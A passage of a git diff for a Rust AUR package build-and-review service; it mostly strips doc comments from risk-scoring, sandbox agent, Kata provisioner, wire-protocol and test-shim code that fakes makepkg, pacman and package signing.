{ name: "install", title: "Install-script delta", body } @@ -269,7 +254,6 @@ fn short(s: &str) -> String { if s.len() > 12 { s[..12].to_string() } else { s.to_string() } } -/// Flatten the rendered panels into one canonical string. pub fn render_text(ps: &[Panel]) -> String { let mut s = String::new(); for p in ps { @@ -278,12 +262,10 @@ pub fn render_text(ps: &[Panel]) -> String { s } -/// `diff_digest`: hash of the exact rendered diff the human was shown (§7.2). pub fn diff_digest(ps: &[Panel]) -> String { crate::hash::hex_str(&render_text(ps)) } -/// The recipe text a reviewer reads for a first introduction (§7.1b). pub fn full_recipe_text(db: &Db, c: &CandidateRow) -> Result { let snap = db::snapshot_by_id(db, c.snapshot_id)?; let snap = snap.ok_or_else(|| crate::error::Error::not_found("snapshot missing"))?; @@ -291,9 +273,6 @@ pub fn full_recipe_text(db: &Db, c: &CandidateRow) -> Result { Ok(r.pkgbuild) } -/// Render the panels, store the resulting `diff_digest` on the candidate, and -/// hand it back. The approve POST must echo this value, which is what makes -/// "we build exactly what was displayed" checkable (§7.1a). pub fn render_and_store(db: &Db, cfg: &Config, c: &CandidateRow) -> Result { let base = match c.base_release_id { Some(id) => db::release_by_id(db, id)?, @@ -305,7 +284,6 @@ pub fn render_and_store(db: &Db, cfg: &Config, c: &CandidateRow) -> Result Result<(String, String)> { let base = match c.base_release_id { Some(id) => db::release_by_id(db, id)?, diff --git a/src/review/risk.rs b/src/review/risk.rs index 3b483cf..f33f9e0 100644 --- a/src/review/risk.rs +++ b/src/review/risk.rs @@ -8,12 +8,8 @@ pub mod level { pub const HIGH: &str = "high"; } -/// A build tool in `makedepends` means the build can fetch and compile anything -/// (§16: we do not sandbox the network in v0, so the reviewer should see it). const FETCHING_BUILD_TOOLS: &[&str] = &["cargo", "npm", "go", "pip", "python", "ruby", "deno", "rust", "nodejs"]; -/// Files whose presence in an upstream commit range means the build itself -/// changed, not just the code. const BUILD_SYSTEM_FILES: &[&str] = &[ "Cargo.toml", "Cargo.lock", "package.json", "setup.py", "pyproject.toml", "Makefile", "CMakeLists.txt", "meson.build", "go.mod", "Gemfile", "build.gradle", @@ -31,8 +27,6 @@ impl Assessment { } } -/// Score a candidate against the release it would replace. `None` accepted -/// means a first introduction, which is its own kind of review (§7.1b). pub fn assess( db: &Db, cfg: &crate::config::Config, @@ -54,7 +48,6 @@ pub fn assess( } } - // Things only visible from the recipe itself. if new.skipgpcheck { s.add("skippgpcheck", level::HIGH); } @@ -67,8 +60,6 @@ pub fn assess( } } if new.install.is_some() { - // An `.install` script is arbitrary code that runs on every consumer - // machine at install time. s.add("install-script", level::HIGH); } for opt in &new.options { @@ -77,8 +68,6 @@ pub fn assess( } } - // Upstream movement that touches the build system (§6): the diff is in a - // language ecosystem we cannot inspect, so say so. if let Some(a) = accepted { for pin in accepted_pins(accepted) { if let Some(old_pin) = a.pins().into_iter().find(|p| p.index == pin.index) { @@ -101,7 +90,6 @@ fn accepted_pins(accepted: Option<&ReleaseRow>) -> Vec { } fn compare_recipes(old: &Recipe, new: &Recipe, s: &mut SignalSet) { - // Version deltas. if new.epoch != old.epoch && pkgver::vercmp(&new.epoch, &old.epoch) == std::cmp::Ordering::Greater { s.add("epoch-bump", level::MEDIUM); } @@ -111,7 +99,6 @@ fn compare_recipes(old: &Recipe, new: &Recipe, s: &mut SignalSet) { if pkgver::is_downgrade(&old.pkgver, &new.pkgver) { s.add("downgrade", level::MEDIUM); } - // Sources: added/removed entries and host changes. let old_hosts = crate::urlutil::hosts(&old.source); let new_hosts = crate::urlutil::hosts(&new.source); for h in &new_hosts { @@ -122,7 +109,6 @@ fn compare_recipes(old: &Recipe, new: &Recipe, s: &mut SignalSet) { if new.source.len() != old.source.len() { s.add("source-set-changed", level::MEDIUM); } - // Checksums weakening: a sum that existed and is now SKIP. for (i, sum) in new.sha256sums.iter().enumerate() { if sum.eq_ignore_ascii_case("SKIP") { match old.sha256sums.get(i) { @@ -136,7 +122,6 @@ fn compare_recipes(old: &Recipe, new: &Recipe, s: &mut SignalSet) { if !old.validpgpkeys.is_empty() && new.validpgpkeys.is_empty() { s.add("validpgpkeys-removed", level::HIGH); } - // Dependencies. let old_md: std::collections::BTreeSet = pkgver::dep_names(&old.makedepends).into_iter().collect(); for md in pkgver::dep_names(&new.makedepends) { if !old_md.contains(&md) { @@ -146,10 +131,8 @@ fn compare_recipes(old: &Recipe, new: &Recipe, s: &mut SignalSet) { let old_cd: std::collections::BTreeSet = pkgver::dep_names(&old.checkdepends).into_iter().collect(); let new_cd: std::collections::BTreeSet = pkgver::dep_names(&new.checkdepends).into_iter().collect(); if !old_cd.is_empty() && new_cd.is_empty() { - // Tests silently stopped running. s.add("checkdepends-removed", level::MEDIUM); } - // Did the executable part of the recipe change, or only metadata? if crate::recipe::bodies_changed(&old.pkgbuild, &new.pkgbuild) { s.add("recipe-code-changed", level::HIGH); } @@ -158,9 +141,6 @@ fn compare_recipes(old: &Recipe, new: &Recipe, s: &mut SignalSet) { } } -/// Digest comparison. Drift with no version change is an `integrity_alert` -/// (§5.3) and never reaches here as a review, so anything that *does* show up -/// alongside a version change is still worth saying. fn compare_digests( _old: &Recipe, _new: &Recipe, @@ -178,9 +158,7 @@ fn compare_digests( } } - fn upstream_touches_build_system(cfg: &crate::config::Config, from: &str, to: &str) -> bool { - // Best-effort: if we have the upstream clone cached we can ask it directly. let cache = cfg.vcs_cache_dir(); if !cache.exists() { return false; @@ -197,7 +175,6 @@ fn upstream_touches_build_system(cfg: &crate::config::Config, from: &str, to: &s false } -/// Accumulator that keeps the highest level seen and de-duplicates signals. #[derive(Debug, Default)] struct SignalSet { level: String, diff --git a/src/sandbox/agent.rs b/src/sandbox/agent.rs index d7b841c..e9626f6 100644 --- a/src/sandbox/agent.rs +++ b/src/sandbox/agent.rs @@ -11,16 +11,12 @@ use crossbeam_channel::unbounded; use crate::error::{Error, Result}; use crate::sandbox::wire::{self, Frame}; -/// CLI-shaped arguments for the `sandbox-agent` binary. #[derive(Debug, Clone)] pub struct AgentOptions { pub hub: String, pub token: String, pub profile: String, pub ttl: Duration, - /// The identity the hub knows this sandbox by. A provisioner (Kata CR, - /// containerd run, a test) passes the nonce it registered with the hub; - /// the hello frame carries it back so the rendezvous can be matched. pub agent_id: Option, } @@ -50,8 +46,6 @@ pub fn serve(opts: &AgentOptions) -> Result<()> { let blobs = blob_dir(&agent_id); std::fs::create_dir_all(&blobs)?; - // Shared watchdog state: the reader thread stamps every inbound frame; - // the watchdog exits (killing the child) when the hub goes silent. let last_inbound = Arc::new(Mutex::new(Instant::now())); let child = Arc::new(Mutex::new(None::)); let alive = Arc::new(AtomicBool::new(true)); @@ -80,7 +74,7 @@ pub fn serve(opts: &AgentOptions) -> Result<()> { loop { let frame = match wire::read_frame(&mut reader) { Ok(Some(f)) => f, - Ok(None) => break, // hub hung up: the lease is over + Ok(None) => break, Err(e) => { outcome = Err(e.into()); break; @@ -99,7 +93,6 @@ pub fn serve(opts: &AgentOptions) -> Result<()> { } } alive.store(false, Ordering::Relaxed); - // Whatever we were running dies with us, always. if let Some(pid) = *child.lock().unwrap() { unsafe { libc::kill(pid as i32, libc::SIGKILL); @@ -109,7 +102,6 @@ pub fn serve(opts: &AgentOptions) -> Result<()> { outcome } -/// Returns true when the agent should stop (Destroy / fatal child loss). fn handle( frame: Frame, writer: &Arc>, @@ -121,8 +113,6 @@ fn handle( Frame::Ping {} => Ok(false), Frame::Put { req, digest, data } => { let bytes = wire::unhex(&data).map_err(io_err)?; - // The agent verifies content-addressing on its side too: a blob - // that does not hash to its name is refused, not staged. if crate::hash::hex(&bytes) != digest { reply(writer, req, Err("put: data does not hash to the claimed digest"))?; return Ok(false); @@ -159,7 +149,6 @@ fn run_child( child: &Arc>>, ) -> Result<()> { let mut argv = argv; - // Expand `blob:` argv elements, like the loopback backend does. for a in argv.iter_mut() { if let Some(digest) = a.strip_prefix("blob:") { *a = safe_blob_path(blobs, digest)?.display().to_string(); @@ -179,9 +168,6 @@ fn run_child( let mut proc = c.spawn()?; *child.lock().unwrap() = Some(proc.id()); - // Stream both pipes as they fill: readers hand chunks to the frame writer - // over a channel, so a chatty build never blocks on the socket and vice - // versa. let (tx, rx) = unbounded::<(&'static str, Vec)>(); let mut pipes = Vec::new(); let pipes_spec: [(&'static str, Option>); 2] = [ @@ -246,14 +232,10 @@ fn connect_with_retry(hub: &str, for_long: Duration) -> std::result::Result PathBuf { std::env::temp_dir().join(format!("aur-{agent_id}-blobs")) } -/// Digests are the only blob names, and they must stay path-safe — the same -/// rule the loopback backend enforces, so a hostile frame cannot escape the -/// blob directory. fn safe_blob_path(blobs: &Path, digest: &str) -> Result { if digest.is_empty() || digest.len() > 128 diff --git a/src/sandbox/kata.rs b/src/sandbox/kata.rs index 9169f9f..fafe858 100644 --- a/src/sandbox/kata.rs +++ b/src/sandbox/kata.rs @@ -15,9 +15,6 @@ use crate::sandbox::remote::RemoteSandbox; use crate::sandbox::wire::{self, Frame}; use crate::sandbox::{Sandbox, SandboxBackend, SandboxInfo, SandboxSpec}; -/// What any provisioner needs to know to start one sandbox pointed at this -/// hub. `sandbox_id` is the rendezvous nonce: the hub will only lease the -/// connection whose hello carries it back. #[derive(Debug, Clone)] pub struct ProvisionRequest { pub sandbox_id: String, @@ -29,10 +26,7 @@ pub struct ProvisionRequest { } pub trait Provisioner: Send + Sync { - /// Start a sandbox for `req`. Must return quickly; the sandbox dials in - /// asynchronously and `acquire` waits on the dial. fn provision(&self, req: &ProvisionRequest) -> Result<()>; - /// Reclaim a sandbox out of band (TTL would also do it eventually). fn reclaim(&self, sandbox_id: &str) -> Result<()>; fn name(&self) -> &str; } @@ -77,9 +71,6 @@ pub fn sandbox_cr(req: &ProvisionRequest) -> serde_json::Value { } impl K8sSandboxProvisioner { - /// The provisioner an `agent-sandbox` configuration names. Split out so a - /// test can assert the cluster coordinates reach it from a parsed config, - /// and so `shared_for` and any later caller build it the same way. pub fn for_config(cfg: &Config) -> Option { match &cfg.sandbox { crate::config::Sandbox::AgentSandbox { api, namespace, bearer, .. } => Some(Self { @@ -92,9 +83,6 @@ impl K8sSandboxProvisioner { } } -/// Talks to a Kubernetes API serving an agent-sandbox-style CRD. Real code, -/// exercised only by the gated live tier — this repository's philosophy is -/// that a gated tier is recorded as skipped, never silently absent. pub struct K8sSandboxProvisioner { pub api: String, pub bearer: String, @@ -133,9 +121,6 @@ impl Provisioner for K8sSandboxProvisioner { } } -/// The test/dev provisioner: a real `sandbox-agent` process, no VM. This is -/// what keeps the kata rendezvous and TTL logic under honest test on a -/// machine with neither root nor `/dev/kvm`. pub struct LocalAgentProvisioner { pub bin: PathBuf, children: Mutex>, @@ -184,24 +169,11 @@ pub struct KataBackend { token: String, addr: String, provisioner: Arc, - /// Nonce → the waiting `acquire`. The accept thread routes dial-ins by - /// the `agent_id` the hello frame carries; anything unknown is dropped, - /// because a sandbox the hub did not ask for is a sandbox to not lease. pending: Arc>>>, counter: AtomicU64, } impl KataBackend { - /// The one Kata backend this process should use for this configuration. - /// - /// A Kata backend cannot share only its listener the way the plain remote - /// backend does: it routes every dial-in by the nonce in its `Hello` into a - /// map that belongs to it, so two backends on one address would each see half - /// the dial-ins. The whole backend is therefore shared, and binding happens - /// exactly once per distinct configuration. - /// - /// The key is a digest of everything that distinguishes one backend from - /// another, so the tokens are not sitting around in a second place. pub fn shared_for(cfg: &Config) -> Result> { let crate::config::Sandbox::AgentSandbox { api, namespace, bearer, image, listen, token, .. } = &cfg.sandbox @@ -227,9 +199,6 @@ impl KataBackend { Ok(backend) } - /// The request a lease turns into, for one nonce. Split out of `acquire` so - /// a test can assert what a *configuration* becomes without a cluster in - /// the loop. pub fn provision_request(&self, spec: &SandboxSpec, id: &str) -> ProvisionRequest { ProvisionRequest { sandbox_id: id.to_string(), @@ -269,8 +238,6 @@ impl KataBackend { }) } - /// Reclaim a sandbox out of band. The TTL would also do this eventually; - /// this is just not making someone else pay for the wait. pub fn reclaim(&self, sandbox_id: &str) -> Result<()> { self.provisioner.reclaim(sandbox_id) } @@ -289,15 +256,11 @@ impl KataBackend { } } -/// Read one hello and route it. A connection that greets with a nonce nobody -/// asked for is dropped unread — the TTL on the provisioner cleans that box -/// up, and the hub never leases a sandbox it did not order. fn route_dial_in( stream: TcpStream, token: &str, pending: &Arc>>>, ) { - // Bounded so a box that connects and says nothing cannot park the loop. let _ = stream.set_read_timeout(Some(Duration::from_secs(10))); let mut reader = match stream.try_clone() { Ok(s) => BufReader::new(s), @@ -323,8 +286,6 @@ impl SandboxBackend for KataBackend { self.pending.lock().unwrap().remove(&id); return Err(e); } - // The TTL is the wait bound *and* the sandbox's own deadline: nobody - // dials in by then, and nobody ever will — the box is dying or dead. let stream = match rx.recv_timeout(spec.ttl) { Ok(s) => s, Err(_) => { @@ -378,11 +339,8 @@ mod tests { .iter() .map(|v| v.as_str().unwrap().to_string()) .collect::>(); - // The rendezvous nonce and the hub coordinates must reach the agent. assert!(args.windows(2).any(|w| w[0] == "--agent-id" && w[1] == "sbx-abc123")); assert!(args.windows(2).any(|w| w[0] == "--hub" && w[1] == "10.0.0.5:9443")); assert!(args.windows(2).any(|w| w[0] == "--token" && w[1] == "t0ken")); } - - } diff --git a/src/sandbox/loopback.rs b/src/sandbox/loopback.rs index 8a3c229..1173562 100644 --- a/src/sandbox/loopback.rs +++ b/src/sandbox/loopback.rs @@ -19,9 +19,6 @@ impl LoopbackBackend { impl SandboxBackend for LoopbackBackend { fn acquire(&self, spec: &SandboxSpec) -> Result> { - // The "pool" is this machine: acquire always succeeds, instantly, and - // the TTL is a promise the loopback sandbox does not have to keep - // because there is nothing to leak — the process dies with the hub. let blobs = blob_root(&self.cfg).join(safe_name(&spec.task)); fs::create_dir_all(&blobs)?; Ok(Arc::new(LoopbackSandbox { @@ -55,9 +52,6 @@ impl Sandbox for LoopbackSandbox { if cmd.argv.is_empty() { return Err(Error::invalid("sandbox command has no argv[0]")); } - // Expand `blob:` argv elements to the staged blob's path — - // the loopback sandbox's blob dir is "inside the sandbox" as much as - // anything here is. An unstaged blob is a caller bug and fails closed. let mut argv: Vec = Vec::with_capacity(cmd.argv.len()); for a in &cmd.argv { match a.strip_prefix("blob:") { @@ -79,8 +73,6 @@ impl Sandbox for LoopbackSandbox { if let Some(dir) = &cmd.cwd { c.current_dir(dir); } - // The shim protocol lives here, not in the steps: a step that cannot - // tell loopback from a remote sandbox is the property under test. self.cfg.child_env(&mut c); let out = c.output()?; on_log(&out.stdout); @@ -101,16 +93,11 @@ impl Sandbox for LoopbackSandbox { } fn destroy(&self) -> Result<()> { - // Nothing to reclaim: the sandbox is this process. Blob scratch is - // disposable staging and falls to `gc` like the rest of `staging/`. Ok(()) } } impl LoopbackSandbox { - /// Digests double as blob filenames, so they must be path-safe. The digests - /// this codebase produces are hex or `hex-sig`; anything else is a caller - /// bug (or, later, a hostile sandbox) and fails closed. fn blob_path(&self, digest: &str) -> Result { if digest.is_empty() || digest.len() > 128 { return Err(Error::invalid(format!("blob digest {digest:?} is not usable"))); @@ -126,7 +113,6 @@ fn blob_root(cfg: &Config) -> PathBuf { cfg.staging_dir().join("blobs") } -/// Filesystem-safe name for a task id, same spirit as `config::slug`. fn safe_name(s: &str) -> String { s.chars() .map(|c| if c.is_ascii_alphanumeric() { c.to_ascii_lowercase() } else { '-' }) diff --git a/src/sandbox/mod.rs b/src/sandbox/mod.rs index ea3e126..3bd4b3b 100644 --- a/src/sandbox/mod.rs +++ b/src/sandbox/mod.rs @@ -16,14 +16,6 @@ pub mod loopback; pub mod remote; pub mod wire; -/// A command to run inside a sandbox. Deliberately argv-shaped, never -/// shell-shaped: a remote sandbox must not be handed a shell string. The -/// environment is the backend's business (see `Config::child_env`). -/// -/// An argv element of the form `blob:` names a blob staged with -/// [`Sandbox::put`]; the backend expands it to wherever the blob materializes -/// inside the sandbox. Callers never name sandbox-local paths, which is what -/// keeps a loopback step byte-identical to a remote one. #[derive(Debug, Clone)] pub struct Cmd { pub argv: Vec, @@ -47,7 +39,6 @@ impl Cmd { } } -/// A finished command. `code` is `None` when the child died by signal. #[derive(Debug)] pub struct Exit { pub code: Option, @@ -61,10 +52,6 @@ impl Exit { } } -/// What a caller asks the pool for. `profile` is the only affinity key warm -/// pools need today (§8.3); `ttl` is the guarantee that the sandbox is dead no -/// matter what this process then does; `disk_mb` replaces the hub's local -/// disk-headroom check (§8.2) once builds leave the hub's filesystem. #[derive(Debug, Clone)] pub struct SandboxSpec { pub profile: String, @@ -79,7 +66,6 @@ impl SandboxSpec { } } -/// Pool state for the UI and notices. #[derive(Debug, Clone)] pub struct SandboxInfo { pub id: String, @@ -87,32 +73,19 @@ pub struct SandboxInfo { pub warm: bool, } -/// A leased sandbox. `run` streams output through `on_log` as it arrives and -/// also returns it captured, so a step can parse stdout while the build log -/// stays complete. `put`/`get` move content-addressed blobs and never accept a -/// destination path from a sandbox — the same I9 posture the local staging -/// containment checks enforce. pub trait Sandbox: Send + Sync { fn id(&self) -> &str; fn run(&self, cmd: &Cmd, on_log: &mut dyn FnMut(&[u8])) -> Result; fn put(&self, digest: &str, r: &mut dyn Read) -> Result<()>; fn get(&self, digest: &str) -> Result>; - /// Idempotent, and also happens by itself when the TTL bites. fn destroy(&self) -> Result<()>; } -/// The pool. `acquire` may return a pre-warmed sandbox, cold-start one, or fail -/// when at quota; a failed acquire is a blocked build, not a broken one. pub trait SandboxBackend: Send + Sync { fn acquire(&self, spec: &SandboxSpec) -> Result>; fn status(&self) -> Result>; } -/// Turn a configuration into the backend it names — the only place that does. -/// -/// `Config::validate` runs here as well as at startup: a guard that only exists -/// in the CLI is a guard a test or a future daemon can walk past. An unknown or -/// unwired kind is an error, never a fallthrough. pub fn backend_for(cfg: &Config) -> Result> { cfg.validate()?; match &cfg.sandbox { @@ -127,20 +100,12 @@ pub fn backend_for(cfg: &Config) -> Result> { } } -/// A listener shared by every backend built from the same `(addr, token)`. #[derive(Clone)] pub(crate) struct Bound { pub local: String, pub rx: Receiver, } -/// One bound listener per `(address, token)` per process. -/// -/// The listener belongs to the process, not to a build: binding it per build -/// meant a second concurrent build hit `EADDRINUSE` for a reason unrelated to -/// its package. The token is part of the key because two different tokens -/// cannot share a listener, and silently reusing the first one's listener would -/// be a fail-open surprise. pub(crate) fn bound_listener(addr: &str, token: &str) -> Result { static REGISTRY: OnceLock>> = OnceLock::new(); let registry = REGISTRY.get_or_init(|| Mutex::new(HashMap::new())); diff --git a/src/sandbox/remote.rs b/src/sandbox/remote.rs index 1f9514f..ba70155 100644 --- a/src/sandbox/remote.rs +++ b/src/sandbox/remote.rs @@ -13,17 +13,10 @@ pub struct RemoteBackend { cfg: Config, token: String, addr: String, - /// Connections the accept thread has taken off the listener but not yet - /// rendezvoused. `acquire` waits on this up to the spec's TTL. queue: Receiver, } impl RemoteBackend { - /// Bind the agent listener — or share the one this process already bound for - /// the same `(addr, token)`; see [`crate::sandbox::bound_listener`]. `addr` - /// may name port 0; [`Self::local_addr`] reports what actually got bound, - /// which is how a test (or a supervisor) hands the address to the agent - /// without a port negotiation dance. pub fn bind(cfg: &Config, addr: &str, token: &str) -> Result { let bound = super::bound_listener(addr, token)?; Ok(Self { cfg: cfg.clone(), token: token.to_string(), addr: bound.local, queue: bound.rx }) @@ -42,8 +35,6 @@ impl SandboxBackend for RemoteBackend { self.addr )) })?; - // The rendezvous itself is bounded; the run loop is not (pings keep - // the agent's watchdog fed, and a dead agent fails the step anyway). let _ = stream.set_read_timeout(Some(spec.ttl)); let mut reader = BufReader::new(stream.try_clone()?); let agent_id = match wire::read_frame(&mut reader)? { @@ -90,9 +81,6 @@ pub struct RemoteSandbox { } impl RemoteSandbox { - /// Wrap a stream whose `Hello` has been verified and answered. Split out - /// so the kata backend can lease a rendezvoused connection with its own - /// accept loop without duplicating the sandbox half. pub(crate) fn after_hello(cfg: &Config, stream: std::net::TcpStream, agent_id: String, ttl: std::time::Duration) -> Self { let reader = BufReader::new( stream.try_clone().expect("cloning a connected tcp stream cannot fail"), @@ -111,9 +99,6 @@ impl RemoteSandbox { wire::write_frame(&mut *self.writer.lock().unwrap(), frame).map_err(Into::into) } - /// Read frames until a reply for `req` arrives. `Log` frames for that - /// request are handed to `sink` (stream name + bytes) as they arrive, so - /// the caller gets live streaming *and* can accumulate what it needs. fn pump(&self, req: u64, sink: &mut dyn FnMut(&str, &[u8])) -> Result { loop { let frame = match wire::read_frame(&mut *self.reader.lock().unwrap())? { @@ -132,7 +117,7 @@ impl RemoteSandbox { { return Ok(frame) } - _ => {} // Ping echoes and foreign requests are not ours + _ => {} } } } @@ -151,8 +136,6 @@ impl Sandbox for RemoteSandbox { cwd: cmd.cwd.as_ref().map(|p| p.display().to_string()), env: self.cfg.child_env_pairs(), })?; - // Keepalive: the agent's watchdog expects a frame at least every TTL; - // a long build produces none of its own on the control connection. let stop = Arc::new(std::sync::atomic::AtomicBool::new(false)); let mut writer = self.writer.lock().unwrap().try_clone()?; { @@ -172,9 +155,6 @@ impl Sandbox for RemoteSandbox { let mut stdout = Vec::new(); let mut stderr = Vec::new(); let result = self.pump(req, &mut |stream, bytes| { - // The build log gets bytes in arrival order; the captured halves - // keep stdout and stderr apart so error tails name the right one, - // exactly like the loopback sandbox's Exit. on_log(bytes); if stream == "stderr" { stderr.extend_from_slice(bytes); @@ -213,7 +193,6 @@ impl Sandbox for RemoteSandbox { } fn destroy(&self) -> Result<()> { - // Best effort: a sandbox that is already gone has nothing to destroy. let _ = self.send(&Frame::Destroy {}); Ok(()) } diff --git a/src/sandbox/wire.rs b/src/sandbox/wire.rs index 8f03063..a0d06ca 100644 --- a/src/sandbox/wire.rs +++ b/src/sandbox/wire.rs @@ -2,13 +2,8 @@ use std::io::{self, BufRead, Write}; use serde::{Deserialize, Serialize}; -/// Refuse absurd frames before allocating for them. Blobs ride as hex inside -/// the frame, so this bounds a real package at ~2 GiB of hex — far above -/// anything legitimate, far below "accept whatever the sandbox sends". pub const MAX_FRAME_BYTES: u32 = 2 * 1024 * 1024 * 1024; -/// One protocol frame. `req` correlates a reply with a request; unsolicited -/// frames (`Ping`, `Hello`, `HelloAck`) carry none. #[derive(Debug, Clone, Serialize, Deserialize)] #[serde(tag = "t", rename_all = "snake_case")] pub enum Frame { @@ -51,8 +46,6 @@ pub fn write_frame(w: &mut impl Write, f: &Frame) -> io::Result<()> { w.flush() } -/// Read one frame. `Ok(None)` means a clean close, which for a sandbox means -/// the lease expired and the build should requeue. pub fn read_frame(r: &mut impl BufRead) -> io::Result> { let mut len = [0u8; 4]; match r.read_exact(&mut len) { diff --git a/src/shims/mod.rs b/src/shims/mod.rs index 818d28d..debcd19 100644 --- a/src/shims/mod.rs +++ b/src/shims/mod.rs @@ -4,7 +4,6 @@ use serde::{Deserialize, Serialize}; use crate::hash; -/// One package the fake toolchain emits. #[derive(Debug, Clone, Serialize, Deserialize)] #[serde(default)] pub struct FakePackage { @@ -42,7 +41,6 @@ impl Default for FakePackage { } impl FakePackage { - /// `1.0-1` split into the `(pkgver, pkgrel)` pacman expects in `.PKGINFO`. pub fn split_version(&self) -> (String, String) { match self.version.rsplit_once('-') { Some((v, r)) => (v.to_string(), r.to_string()), @@ -51,7 +49,6 @@ impl FakePackage { } } -/// A member of the fake chroot world, for `.BUILDINFO` (§10.1). #[derive(Debug, Clone, Default, Serialize, Deserialize)] #[serde(default)] pub struct FakeInstalled { @@ -60,22 +57,16 @@ pub struct FakeInstalled { pub arch: String, } -/// The scripted outcome of a fixture. #[derive(Debug, Clone, Serialize, Deserialize)] #[serde(default)] pub struct Manifest { pub name: String, - /// `succeed` | `fail` | `check-fail` | `no-pkgver` pub build: String, - /// Text the fake build writes to its log, for log-tail tests. pub log_lines: Vec, pub packages: Vec, pub installed: Vec, - /// Emit `.sig` files (default true). pub sig: bool, - /// `pkgver` the fake `makepkg --vercheck` computes (VCS fixtures, §5.2). pub vercheck: Option, - /// Extra files to drop into the package tarball. pub files: Vec, } @@ -104,8 +95,6 @@ pub fn manifest() -> Manifest { } } -/// Record that a shim ran, so tests can assert on what the pipeline actually -/// invoked rather than what it intended to invoke. pub fn record(tool: &str, args: &[String]) { let dir = match std::env::var("AUR_SHIM_DIR") { Ok(d) => d, @@ -127,26 +116,20 @@ pub fn record(tool: &str, args: &[String]) { } } -/// Test hook: kill the process that invoked us, mid-step, with a signal it cannot -/// catch. This is how the crash-resume invariant (I5) is tested for real. fn kill_parent_if_asked(tool: &str) { let want = std::env::var("AUR_SHIM_KILL_PARENT").unwrap_or_default(); if want == tool { unsafe { libc::kill(libc::getppid(), libc::SIGKILL); } - // If the kill somehow did not land, do not let the step complete — that - // would make the test silently test nothing. std::process::exit(137); } } -/// True when the harness asked this tool to fail. fn forced_fail(tool: &str) -> bool { std::env::var("AUR_SHIM_FAIL").map(|v| v == tool).unwrap_or(false) } -/// Read the invocation log back (test side). pub fn invocations(dir: &Path) -> Vec { let path = dir.join("invocations.jsonl"); match std::fs::read_to_string(path) { @@ -158,7 +141,6 @@ pub fn invocations(dir: &Path) -> Vec { } } -/// Entries whose `args` mention `needle`. pub fn called_with(dir: &Path, tool: &str, needle: &str) -> usize { invocations(dir) .iter() @@ -172,7 +154,6 @@ pub fn called_with(dir: &Path, tool: &str, needle: &str) -> usize { .count() } -/// Dispatch table used by every `src/bin/*.rs`. pub fn run(tool: &str) -> i32 { let args: Vec = std::env::args().skip(1).collect(); record(tool, &args); @@ -196,10 +177,7 @@ pub fn run(tool: &str) -> i32 { } } -/// `mkarchroot `: create a directory that stands in for a warm root. pub fn mkarchroot(args: &[String]) -> Result { - // `mkarchroot [-C pacman.conf] [-M makepkg.conf] `: the config options - // take a value, so they cannot be skipped blindly. let mut target = None; let mut skip = false; for a in args { @@ -218,28 +196,18 @@ pub fn mkarchroot(args: &[String]) -> Result { } let target = target.ok_or("mkarchroot: no target")?; std::fs::create_dir_all(&target).map_err(|e| e.to_string())?; - // A marker so the pipeline can tell a real root from a fake one. let _ = std::fs::write(Path::new(&target).join("SHIM-ROOT"), "fake chroot\n"); Ok(0) } -/// `makechrootpkg -c -r -- ...`: kept as a stand-in for direct shim -/// tests. The pipeline no longer calls it; the package-emitting logic lives in -/// [`emit_packages`], shared with the `makepkg` shim. pub fn makechrootpkg(args: &[String], m: &Manifest) -> Result { - // The real tool reads a chroot root; asserting it keeps the fake honest - // about the real tool's contract. if !args.iter().any(|a| a == "-r") { return Err("makechrootpkg: expected -r ".into()); } - // Sign only when the caller asked, like the real tool. A shim that signed - // anyway would hide the move of signing hub-side from every test. let wants_sig = args.iter().any(|a| a.starts_with("-si") || a == "-i" || a == "--sign"); emit_packages(m, "makechrootpkg", wants_sig) } -/// The shared build emulation: emit one `.pkg.tar.zst` per manifest package -/// into the current directory, exactly where the real tools leave them. pub fn emit_packages(m: &Manifest, tool: &str, wants_sig: bool) -> Result { for l in &m.log_lines { println!("{l}"); @@ -253,8 +221,6 @@ pub fn emit_packages(m: &Manifest, tool: &str, wants_sig: bool) -> Result>()) @@ -279,9 +245,6 @@ pub fn emit_packages(m: &Manifest, tool: &str, wants_sig: bool) -> Result t, @@ -301,7 +264,6 @@ fn packages_to_emit(m: &Manifest, startdir: &Path) -> Vec { if !m.packages.is_empty() { return m.packages.clone(); } - // No explicit manifest: derive one package from the PKGBUILD we were given. let text = std::fs::read_to_string(startdir.join("PKGBUILD")).unwrap_or_default(); let recipe = crate::recipe::parse_pkgbuild(&text).ok(); match recipe { @@ -326,8 +288,6 @@ fn packages_to_emit(m: &Manifest, startdir: &Path) -> Vec { } } -/// Write a `.pkg.tar.zst` containing `.PKGINFO`, `.BUILDINFO` and any scripted -/// payload files. pub fn write_package(dir: &Path, p: &FakePackage, m: &Manifest) -> Result { let (pkgver, pkgrel) = p.split_version(); let filename = format!("{}-{}-{}.pkg.tar.zst", p.name, p.version, p.arch); @@ -347,7 +307,6 @@ pub fn write_package(dir: &Path, p: &FakePackage, m: &Manifest) -> Result String { s } -/// `.BUILDINFO`: the full installed set at build time. Left unfiltered this is -/// the whole chroot, which is exactly why §10.1 intersects it with our own -/// packages before storing a world snapshot. fn buildinfo(p: &FakePackage, pkgver: &str, pkgrel: &str, m: &Manifest) -> String { let mut s = String::new(); s.push_str("format = 2\n"); @@ -422,7 +378,6 @@ fn fake_sig(bytes: &[u8]) -> Vec { format!("-----BEGIN FAKE PGP SIGNATURE-----\n{}\n-----END FAKE PGP SIGNATURE-----\n", hash::hex(bytes)).into_bytes() } -/// `makepkg --printsrcinfo` / `--vercheck` (§5.2 Stage B). pub fn makepkg(args: &[String], m: &Manifest) -> Result { if args.iter().any(|a| a == "--vercheck" || a == "-V-check") { let v = m.vercheck.clone().unwrap_or_else(|| "1.0-1".into()); @@ -468,19 +423,10 @@ pub fn makepkg(args: &[String], m: &Manifest) -> Result { } } } else { - // `makepkg -c -f`: the pipeline's build step in the provisioned sandbox. - // No `-s` and no `-si` reach this shim. emit_packages(m, "makepkg", false) } } -/// `pacman -U ` / `pacman -Q`: a fake installed database living in the -/// shim dir, so the provisioning step's world check runs against something that -/// behaves. -/// -/// `-U` refuses any file that does not hash to the digest its filename claims and -/// records each package from its `.PKGINFO`; `-Q` reports exactly what was -/// installed, which makes the pipeline's fail-closed world assertion a real test. pub fn pacman(args: &[String]) -> Result { if args.iter().any(|a| a == "-U") { for path in args.iter().filter(|a| !a.starts_with('-')) { @@ -522,18 +468,6 @@ fn installed_db() -> Option { std::env::var("AUR_SHIM_DIR").ok().map(|d| std::path::Path::new(&d).join("installed.txt")) } -// `repo-add [-s -p key -R] `: rebuild the database -// from the packages handed to it. The real tool appends and `-R` replaces an -// existing entry; we rebuild the whole db, which is what our publish step does -// anyway. - -/// The database filenames 